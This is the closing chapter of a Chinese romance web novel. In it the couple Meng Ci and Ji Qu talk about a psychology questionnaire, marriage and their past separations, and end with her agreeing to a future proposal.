季曲嘴里的酸涩感浓郁,他看了眼依旧在喝的孟慈说:“别喝了,小心胃疼。” “没事,我大学时候常喝,比咖啡提神快。” 季曲的车停在停车场,两个人慢慢溜达,混进了学生群中。 “我今天做了套问卷。”孟慈把花还给季曲,抱着橙汁慢悠悠地晃。 季曲单手拎着包和花,另一只手牵着孟慈,“什么问卷?” “心理的,好麻烦,一堆问题我都不知道怎么选。”孟慈抱怨道。 季曲看着路上越来越多的学生,把孟慈往自己身边带了带,“那就不选。” 孟慈停下脚步看着季曲:“不选怎么让老师分析我的心理问题。” “你不是都嫌麻烦了?”季曲也跟着停下,“给你压力的测试没做的必要。” 好像是这么个道理,孟慈转了转眼睛,扭过头继续走。 “但是你知道吗……” “什么?” 孟慈原本想说别人知道他们两个的某些故事,但是想想又要提到那么多点,还要解释,好费劲。 “没事。”孟慈放弃表达。 季曲看着孟慈疲惫的后脑勺,问:“要不要背你过去?还有一段。” 孟慈拒绝道:“这么多人呢。” 季曲看看周围,说:“还是大学好啊。” 孟慈原本在看着路面上的彩绘井盖,听到季曲感叹,才抬头四处望望。 正值晚霞满天,旁边的小情侣不知道什么时候多了起来,拥抱的,接吻的……比比皆是,季曲提的背一下好像是极普通的一件小事。 季曲看着孟慈的反应,走到孟慈身前,蹲了下来,“上来吗?” 孟慈伸手拍了拍季曲的后背:“不用快起来。” “真不用?” “真不用。” 孟慈见季曲还在原地蹲着,便抬脚绕开了季曲,自己朝前走,没走几步左手又被牵住,紧的没有缝隙。 孟慈甩了甩,一点儿没松,看了眼比自己还闲适的打量着周围的季曲,算了,随他去吧。 问卷的边角从没拉紧的包包口露出来,季曲扫了一眼,“怎么还留作业啦?” 孟慈终于喝不动橙汁,四处看垃圾桶的位置,“没有,问卷。” 季曲问:“问卷不是应该交给老师?” 孟慈随口解释道:“他们说我的答案无效,让我重新写一份。” 季曲有些疑惑:“为什么无效?没写完?” 孟慈终于找到垃圾桶,在路对面。 她捏了捏季曲的指头,让季曲松手,季曲不非要拉着孟慈一起去。 孟慈拗不过季曲:“也不是,反正就是无效。” 她想到“无效”的原因,解释下来又要费半天力气。 而且季曲要么就是和对面一样觉得自己审题错误,要么就是站在自己这边。 无非两种结果,干脆不说了。 两人走到停车场,季曲说先要去季亮鸿的院子里看看锦鲤,说其中有两条的状态不太好。 孟慈反正也不饿,自然点头。 到了宅子里,季曲让孟慈在一旁的凉亭坐着,自己则捞起袖子在池子边观察。 鱼的状态倒是还行,可能是年龄到了,游起来有些慢,更喜欢在阴凉处停着不动。 季曲和师傅安顿再观察一段时间,然后便去屋子里洗手准备离开。 但是没想到也就一眨眼的功夫,孟慈已经靠在栏杆上睡着了,季曲走到孟慈跟前坐下,握着孟慈的肩膀轻晃晃。 “嗯?”孟慈半睁开眼,迷迷糊糊的。 “累成这样啊?”季曲摸了摸孟慈的后脖颈,有些 凉,他用手捂住,“要不然直接回家?” 孟慈都不知道怎么睡着的,只记得刚刚看着季曲弯腰贴着水面看鱼,自己有些无聊,头又有些沉,干脆就倚在栏杆上休息。 力气还没恢复,孟慈干脆靠着季曲的手,转了转有些僵的脖颈,说:“你为什么最近没再和我求婚了?” “嗯?”季曲没想到孟慈会这么问,毕竟这显然和现在的任何都无关。 孟慈打了个哈欠,睡眼惺忪地又重复了一遍。 季曲想了想,只可能是下午的那份“无效”答卷所引起的问题。 他思考了半晌,才慢慢回答:“因为我们总会一直一起,而且你好像也不太想结婚,没必要给你那么多负担。” 季曲的手很温暖。 孟慈歪歪头,靠在季曲的手腕上,“你想结婚吗?” “比起结婚,我只想和你一直在一起。”季曲用另一只手牵住孟慈。 孟慈的大脑里只有一个疑惑,为什么在外人看来,季曲的问题会是自己的问题。 在外人看来都是毫无疑问的答案,甚至能和她这个感情中的当事人争一争输赢。 看着孟慈又陷入思考,季曲试探着问:“如果我现在求婚,你会答应嫁给我吗?” “如果我一直不答应呢?”孟慈的眼神汇聚在季曲脸上,与他对视。 季曲思考几秒,才说:“不答应也无所谓,我刚刚说过了,我们会一直在一起,所以法定意义上的稳定关系,对于我们来说意义不大。” “对自己那么有信心?” “我是对你有信心,不然你不会回来找我,给我机会,即使我已经让你受伤害那么多。” “你没有伤害我,你对我很好。”孟慈小声反驳道。 季曲否认:“我确实有些地方做的很差劲,你没必要替我掩饰或者原谅。” 傍晚的风有些凉,挟着柳树枝吹到凉亭里,似有若无地好像要探到孟慈身上。 季曲伸手挡了一下,顺势把孟慈拢进怀里。 “不过……”季曲犹豫着开口。 孟慈抬起头:“什么?” “就你现在的状态来看,我觉得我可以准备下一次求婚了。”季曲笑着问,“你喜欢人多还是人少?海滩还是草坪?总感觉下一次你就会答应我了。” 季曲提了几场他知道的求婚案例,一会儿说这个太敷衍,一会儿又评价另一场太煽情,连孟慈的神色变了都没发现。 “都可以。”孟慈轻轻开口打断季曲。 季曲这才看到孟慈已经从自己的怀里坐了起来:“什么都可以?” 孟慈认真地看着季曲,抿了抿嘴,才说:“什么样的求婚都可以,因为我也想和你一直在一起。” “认真的?”季曲觉得孟慈此刻的表现有些令他不可思议。 孟慈点点头:“不骗你。” 季曲张了张嘴,却不知道该说什么,头一次他觉得有些慌张,心脏没有规律地跳,反观孟慈,她好像再平静不过。 思来想去,季曲又向孟慈确认了一次。 孟慈依旧点头,轻又重,“我好像也很害怕再次和你分开,世界太大了,我怕万一下次我又害怕想跑,会真的丢掉。” 季曲握着孟慈的手,眼底已经泛起涟漪,像是旁边被春风吹皱的池水。 “不会的,你在哪我都能找到你。” “我们相遇已经是偶然了,相爱更是。”孟慈望着季曲,又在季曲的瞳孔里望着自己,像是某种循环,“可是好奇怪,明明中间有好多因素让我们分开,但是我们还是走到现在,我的怯懦,我的恐惧,我的躲避都没法让我和你彻底分开。” 在孟慈的话里,季曲竟然掉了眼泪。 孟慈看到后想伸手抹掉,但是自己的双手都被季曲紧紧握着,怎么使劲都纹丝不动。 她只能贴近季曲,用鼻尖蹭了蹭季曲的鼻尖,亲昵地哄着,“好像不用我太努力,你就会一直爱我,这可能是我的好运气。” 孟慈知道,对于接受过良好的教育并且拥有强大的家庭背景的季曲来说,与自己的母亲生分已经是天大的过错,她也知道季亮鸿的书房里挂着的那副“家和万事兴”是对季家未来祖祖辈辈的教诲与期待。 总不能因为爱情而抛弃亲情。 孟慈其实一直都清楚,自己对于这段感情最大的恐惧,就是两个差距过大的人很难走到最后。 她不能为了季曲而重新投胎一次,季曲也不能为了她抛弃一切。 但是偏偏她又爱季曲。 从最一开始到现在,这份爱只有从浅到深的变化,没有从有到无的停滞。 孟慈害怕季曲总会站在自己的父母那边,总会站在自己的家庭那边,总会站在自己的人生那边,而毫无犹豫的抛弃自己。 所以自己才一而再再而三的逃走。 但是偏偏季曲不是。 他明明知道孟慈第一次离开是因为自身的恐惧。 但是那时的季曲也并未爱到非孟慈不可的地步,所以也只是为她铺好了通往未来的路,也算是好过一场,送她一程。 直到孟慈第二次离开,季曲才意识到自己已经爱到非孟慈不可。 所以他和华婉翻脸,和自己翻脸,用无止境的工作麻痹自己,用身体上的疼痛惩罚自己。 孟慈显然已经拥有走向美好未来的本事能力,他显得有些无用。 但是偏偏,孟慈还是选择回来。 在马路上碰撞的那天,季曲突然发现自己坏了的心脏还能跳动;在安娜婚礼上的那天,季曲突然发现自己好想结婚,好想和孟慈结婚;在孟慈出车祸的那天,季曲突然发现自己好像不止非孟慈不可,而是如果孟慈不在,他好像也没有了活着的意义,他会毫不犹豫地随孟慈去了。 他唯一害怕的是孟慈走得太快,自己走得太慢会找不到她。 后来,季曲车祸醒来后准备好了一系列的方案。 世事无常,如果自己出了什么意外,如果孟慈哪天不爱自己了,如果孟慈想离开,他都有办法解决。 就像初一那晚带着孟慈回家里吃饭,桌子上的都是季家年轻一辈的佼佼者们,所有人都要知道孟慈在自己心里的分量,所有人在未来都要给孟慈亮绿灯。 但是偏偏,孟慈说让自己再求一次婚,随便什么样都可以,因为孟慈也想一直和自己一起。 孟慈看着泪流不停的季曲不免好笑:“季总怎么眼睛这么浅,哭成这样?” 季曲把孟慈抱进怀里,眼泪流到孟慈的颈窝,他说了好多句谢谢。 孟慈的下巴撑在季曲的肩膀上,双手覆在季曲不断颤抖的后背轻拍,天边已经有些黑了,夕阳消失无影踪。 过了很久,直到漫长的黑夜降临,季曲才从孟慈的怀里退出来。 孟慈看着季曲,眉眼弯弯地笑,像是在努力地把季曲从悲伤情绪中拯救出来。 风挟着柳树枝沙沙地响,打在凉亭的柱子,打在斑驳的红墙,打在如镜的池面,像过去的无数时光中充斥的白噪音。 季曲摸着孟慈的脸,看她柔软地贴近自己的手心,用很轻很轻的声音说了我爱你。 这么多年,分分合合,聚又散,最终还能一起。 真是天大的好运。 正文完。【你现在阅读的是 】